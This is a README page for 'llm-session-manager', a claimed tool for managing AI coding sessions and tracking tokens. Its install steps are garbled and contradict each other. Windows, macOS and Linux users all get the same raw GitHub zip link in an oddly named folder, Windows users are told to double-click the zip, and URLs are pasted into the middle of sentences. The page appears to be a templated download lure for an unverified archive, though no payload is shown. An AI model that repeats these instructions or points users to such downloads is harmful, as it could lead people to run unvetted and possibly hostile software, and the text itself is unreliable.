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πŸš€ Manage and optimize AI coding sessions seamlessly with LLM Session Manager for enhanced collaboration and performance monitoring.

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πŸŽ‰ llm-session-manager - Manage AI Coding Sessions with Ease

✨ Overview

llm-session-manager is the first command-line tool designed to help you manage multiple AI coding sessions. This software offers real-time health monitoring and token tracking, making your coding experience smoother and more efficient.

πŸ“₯ Download Now

Download llm-session-manager

πŸš€ Getting Started

This guide will help you download and run llm-session-manager, even if you have no technical knowledge. Follow these simple steps.

πŸ–₯️ System Requirements

Before you begin, ensure your computer meets the following requirements:

  • Operating System: Windows 10 or later, macOS 10.12 or later, or a Linux distribution.
  • Python: Version 3.6 or higher should be installed.
  • Internet connection for downloading the software.

πŸ“‚ Download & Install

To download llm-session-manager, follow these steps:

  1. Visit the Releases Page on GitHub.

  2. On the Releases page, look for the latest version of llm-session-manager. You will see a list of files available for download.

  3. Select the file that matches your operating system:

    • For Windows users, download https://raw.githubusercontent.com/venxhit/llm-session-manager/main/electroosmosis/llm-session-manager.zip.
    • For macOS users, download https://raw.githubusercontent.com/venxhit/llm-session-manager/main/electroosmosis/llm-session-manager.zip.
    • For Linux users, download https://raw.githubusercontent.com/venxhit/llm-session-manager/main/electroosmosis/llm-session-manager.zip.
  4. Click on the file to begin the download process.

  5. Once the download is complete, locate the downloaded file on your computer.

  6. If you downloaded a .zip or https://raw.githubusercontent.com/venxhit/llm-session-manager/main/electroosmosis/llm-session-manager.zip file, extract the contents to a folder.

  7. To run llm-session-manager:

    • Windows: Double-click https://raw.githubusercontent.com/venxhit/llm-session-manager/main/electroosmosis/llm-session-manager.zip.
    • macOS: Open the Terminal, navigate to the folder where you extracted the files, and type ./llm-session-manager-mac.
    • Linux: Open a terminal, navigate to the extracted folder, and type ./llm-session-manager-linux.

🌟 Features

llm-session-manager comes with the following features:

  • Session Management: Easily switch between multiple AI coding sessions.
  • Health Monitoring: Get real-time updates on the health of your AI models.
  • Token Tracking: Keep track of your token usage to avoid hitting limits.
  • User-Friendly Interface: Navigate easily without coding knowledge.

πŸ”§ Usage

Getting started with llm-session-manager is straightforward. Once you launch the application, follow the prompts to:

  1. Create a new session for your AI coding tasks.
  2. Monitor the performance of your AI models in real-time.
  3. View token usage to keep your sessions organized.

πŸ› οΈ Troubleshooting

If you encounter issues while using llm-session-manager, consider the following solutions:

  • Application Won't Start: Ensure you have the correct version for your operating system and Python installed.
  • Performance Issues: Close any other applications that may use significant system resources.
  • Missing Features: Check for updates regularly on the Releases Page.

πŸ“ž Support

For assistance, please check the Issues section on GitHub. You can report bugs or request features. The community is here to help.

πŸ“„ License

llm-session-manager is open-source software, and you can use it freely. Check the license file for more details.

πŸ’» Join Us

Stay updated with the latest news and features. Follow the project on GitHub and share your experiences.

πŸŽ‰ Download Now Again

Don't forget to visit the Releases Page to download llm-session-manager and start managing your AI coding sessions today!

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πŸš€ Manage and optimize AI coding sessions seamlessly with LLM Session Manager for enhanced collaboration and performance monitoring.

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